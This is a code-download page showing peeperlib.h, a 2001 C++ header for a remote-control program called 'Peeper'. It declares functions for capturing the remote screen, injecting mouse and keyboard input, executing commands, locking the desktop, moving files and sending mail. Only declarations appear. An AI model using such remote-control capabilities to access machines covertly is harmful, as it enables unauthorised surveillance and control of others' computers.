⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 peeperlib.h

📁 这是个soket的代码不是太实用但是对出学者还是有些帮助的 有需要的可以
💻 H
字号:
///////////////////////////////////////////////////////////////////////////////
// 远程控制软件-偷窥者  开发库                                               //
// 日期:2001/10/02                                                           //
// 作者:刘东发                                                               //
// Email:dongfa@yeah.net                                                     //
// http://dongfa.yeah.net                                                    //
// OICQ:5584173  阿东                                                        //
// 作者声明:                                                                 //
//     此部分代码全是作者所写,可以随便传播,但要保持文件的完整性,有问题     //
// 或者意见请来信,谢谢!                                                      //
///////////////////////////////////////////////////////////////////////////////

#ifndef __PEEPER_LIB_H__
#define __PEEPER_LIB_H__

#ifdef __cplusplus
extern "C"
{
#endif

DECLARE_HANDLE(HDIB);

#define DISP_SOCKET_ERROR     {\
			LPVOID lpMsgBuf = NULL;\
			::FormatMessage\
			( \
				FORMAT_MESSAGE_ALLOCATE_BUFFER | \
				FORMAT_MESSAGE_FROM_SYSTEM | \
				FORMAT_MESSAGE_IGNORE_INSERTS,\
				NULL,\
				::WSAGetLastError(),\
				MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\
				(LPTSTR) &lpMsgBuf,\
				0,\
				NULL \
			);\
			::MessageBox(NULL, (LPCTSTR)lpMsgBuf, "Error", \
				MB_OK | MB_ICONINFORMATION);\
			LocalFree(lpMsgBuf);\
						}\
 



#define PALVERSION             0x300
#define WIDTHBYTES(bits)       (((bits) + 31) / 32 * 4)
#define IS_WIN30_DIB(lpbi)     ((*(LPDWORD)(lpbi)) == sizeof(BITMAPINFOHEADER))
#define RECTWIDTH(lpRect)      ((lpRect)->right - (lpRect)->left)
#define RECTHEIGHT(lpRect)     ((lpRect)->bottom - (lpRect)->top)


#define PL_PEEPER_PORT			5180
// SOCKET buffer max length
#define PL_SOCKET_MAXBYTES		1024

// GET dib message
#define PL_GET_DIB_MESSAGE			WM_USER + 0x01

// CONNECT server message
#define PL_CONNECT_MESSAGE			WM_USER + 0x02

// PEEPER notify message
#define PL_PEEPER_NOTIFY			WM_USER + 0x0A

#define PL_PEEPER_NOTIFY_CLOSE		WM_USER + 0xA1
#define PL_PEEPER_NOTIFY_CONNECT	WM_USER + 0xA2
#define PL_PEEPER_NOTIFY_DISCONNECT	WM_USER + 0xA3

// copy file notify message
// wParam = X% 0~100
#define PL_PEEPER_NOTIFY_COPYFILE   WM_USER + 0xA4

//define peeper server version
#define PEEPER_SERVER_VER_10		("Ver 1.0")
#define PEEPER_SERVER_VER_12		("Ver 1.2")
#define PEEPER_SERVER_VER_15		("Ver 1.5")
#define PEEPER_SERVER_VER_20		("Ver 2.0")
#define PEEPER_SERVER_VER_25		("Ver 2.5")
#define PEEPER_SERVER_VER_30		("Ver 3.0")

// UPDATE desktop timer
#define PL_DIB_TIMER			200
#define PL_DIB_TIMERID			50
#define PL_SOCKET_RETRYTIME		4000

// DEFINE enable/disable event
#define PL_ENABLE_NONE			0x00000000

#define PL_ENABLE_MOUSE_MOVE	0x00000001
#define PL_ENABLE_MOUSE_LBUTTON	0x00000002
#define PL_ENABLE_MOUSE_RBUTTON	0x00000004
#define PL_ENABLE_MOUSE_LDBLCLK	0x00000008
#define PL_ENABLE_MOUSE_RDBLCLK	0x00000010

#define PL_ENABLE_KEY			0x00000020
#define PL_ENABLE_DIB			0x00000040

#define PL_ENABLE_ALL			0xFFFFFFFF

// CLOSE server
#define PL_CLOSE_PEEPER			0xDF

// NONE define
#define PL_NONE					0x00

//get server version
#define PL_PEEPER_VER			0x01
        //server:Flag+(char*)
        //client:Flag

// TEMP define
#define PL_TEMP					0x03

// RETURN BOOL result 
#define PL_RETURN_BOOL			0x04
        //Flag+(BOOL)

// CLIENT close
#define PL_CLIENT_CLOSE			0x05
        //Flag

// MESSAGE define
#define PL_MSG					0x08
        //Flag+(char*)

// SCREEN size
#define PL_SCREEN_SIZE			0x09
        //Flag+(int)(x)+(int)(y)

// DIB define
#define PL_DIB					0x11
        //Server:Flag+(PL_ColorType)+(PL_ZipType)
        //Client:Flag+(int)(nSize)

// DIB zip and unzip
#define PL_DIB_BITS				0x12
        //Flag+(int)(nBits)

// MOUSE define
#define PL_MOUSE_MOVE			0x21
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_LBUTTONDOWN	0x22
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_LBUTTONUP		0x23
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_RBUTTONDOWN	0x24
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_RBUTTONUP		0x25
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_LDBLCLK		0x26
        //Flag+(int)(x)+(int)(y)

#define PL_MOUSE_RDBLCLK		0x27
        //Flag+(int)(x)+(int)(y)

// KEYBOARD define
#define PL_KEY_DOWN				0x31
        //Flag+(UINT)(VK)+(UINT)(nFlag)

#define PL_KEY_UP				0x32
        //Flag+(UINT)(VK)+(UINT)(nFlag)

// OTHER function
// EXECUTE command line
#define PL_FUNC_EXEC			0x81
        //Flag+(char *)

// LOCK and UNLOCK desktop
#define PL_FUNC_LOCK			0x82
        //Flag+(BOOL)  

// EXIT window
#define PL_FUNC_EXITWIN			0x83
        //Flag+(UINT)

// SEND Ctrl+Alt+Del
#define PL_FUNC_CTRL_ALT_DEL	0x84
        //Flag

// COPY a local file to remote computer
#define PL_FUNC_FILE_COPY_S		0x85
        //Flag+(char*)

// COPY a remote file to client computer
#define PL_FUNC_FILE_COPY_C		0x86
        //Flag+(char*)

// DELETE a remote file
#define PL_FUNC_FILE_DELETE		0x87
        //Flag+(char*)

// RENAME a remote file
#define PL_FUNC_FILE_MOVE		0x88
        //Flag+(char*)

// DEFINE color bits
enum PL_ColorType{color_1 = 0, color_4, color_8, color_24, color_max};
// DEFINE zip type
enum PL_ZipType{zip_none = 0, zip_lz77, zip_lzw, zip_jpeg, zip_lzss, zip_ari, zip_max};

// Socket Tools
// init socket
BOOL    WINAPI PL_InitSocket();
// cleanup socket
BOOL    WINAPI PL_TermSocket();
// SEND socket data
int     WINAPI PL_SendSocketData(SOCKET s, BYTE *chData, int nLen, 
								 BYTE chFlag = PL_NONE, UINT uFlag = 0);
// RECEIVE socket data
int     WINAPI PL_ReadSocketData(SOCKET s, BYTE *chData, int nLen, 
								 BYTE *chFlag = NULL, UINT uFlag = 0);

// Compress and Decompress
// LZ77 
HGLOBAL WINAPI PL_LZ77_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_LZ77_UnZip(HGLOBAL hZip);

// LZSS
HGLOBAL WINAPI PL_LZSS_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_LZSS_UnZip(HGLOBAL hZip);

// ARI
HGLOBAL WINAPI PL_ARI_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_ARI_UnZip(HGLOBAL hZip);

// LZW
HGLOBAL WINAPI PL_LZW_Zip(HGLOBAL hUnZip);
HGLOBAL WINAPI PL_LZW_UnZip(HGLOBAL hZip);

// Dib & Bitmap Function
HBITMAP WINAPI PL_GetBitmap(HWND hWnd);
BOOL    WINAPI PL_Bmp2Gry(HBITMAP hBmp, LPBYTE *lpGryData, SIZE *szGrySize);
BOOL    WINAPI PL_DrawGry(HDC hDC, LPBYTE lpGryData, SIZE szGrySize);
int     WINAPI PL_ColorsNum(LPBYTE lpbi);
int     WINAPI PL_PaletteSize(LPBYTE lpbi);
LPBYTE  WINAPI PL_DIBBits(LPBYTE lpbi);
int     WINAPI PL_DIBWidth(LPBYTE lpDIB);
int     WINAPI PL_DIBHeight(LPBYTE lpDIB);
HDIB    WINAPI PL_BmpToDIB(HBITMAP hBitmap, HPALETTE hPal, int nBits = -1);
BOOL    WINAPI PL_CreateDIBPalette(HDIB hDIB, CPalette* pPal);
BOOL    WINAPI PL_DrawDIB(HDC hDC, LPRECT lpDCRect, HDIB hDIB, LPRECT lpDIBRect, CPalette* pPal);
BOOL    WINAPI PL_DrawBmp(HDC hDC, LPRECT lpDCRect, HBITMAP hBmp, LPRECT lpBmpRect, CPalette* pPal);

// Mouse Control Function
SIZE    WINAPI PL_GetScreenSize();
void    WINAPI PL_MouseMove(POINT point);
void    WINAPI PL_MouseLButtonDown(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseLButtonUp(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseRButtonDown(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseRButtonUp(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseLButtonDblClk(POINT point, BOOL bMove = FALSE);
void    WINAPI PL_MouseRButtonDblClk(POINT point, BOOL bMove = FALSE);

// Keyboard Control Function
void    WINAPI PL_KeyDown(UINT uChar, UINT uFlag);
void    WINAPI PL_KeyUp(UINT uChar, UINT uFlag);

// Other/Tools function
BOOL    WINAPI PL_GetHostName(char *chIP, char *chName = NULL);
int     WINAPI PL_ExecuteCommand(char *chCommandLine);
void    WINAPI PL_LockDesktop(BOOL bLock = TRUE);
BOOL    WINAPI PL_ExitWindow(UINT uFlag);
void    WINAPI PL_Send_CtrlAltDel();// 未能实现
BOOL    WINAPI PL_CopyFileClient(CString strIP, UINT uPort, char *chSrc, 
								 BOOL bSend = TRUE, HWND hNotifyWnd = NULL);
BOOL    WINAPI PL_CopyFileServer(UINT uPort, char *chDes, BOOL bSend = FALSE, 
								 HWND hNotifyWnd = NULL);
BOOL    WINAPI PL_DeleteFile(char *chFileName);
BOOL    WINAPI PL_MoveFile(char *chSrcFileName, char *chDesFileName);

// Send Mail function
// USE SMTP protocol
BOOL    WINAPI PL_SendMail(CString strSMTP, CString strFrom, 
						   CString strTo, CString strSubject, CString strBody);

// USE ESMTP protocol
BOOL    WINAPI PL_SendMail2(CString strSMTP, CString strFrom, 
								 CString strAuth, CString strPass,
								 CString strTo, CString strSubject, 
								 CString strBody);
//Detect Internet connect
BOOL    WINAPI PL_DetectInternetConnect(CString strHTTP = _T("http://www.163.com"));

//Read data from a file
HGLOBAL WINAPI PL_ReadDataFromFile(CString strFile);

//Write data to a file
BOOL    WINAPI PL_WriteDataToFile(CString strFile, HGLOBAL hData);

#ifdef __cplusplus
}
#endif
#endif //__PEEPER_LIB_H__

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -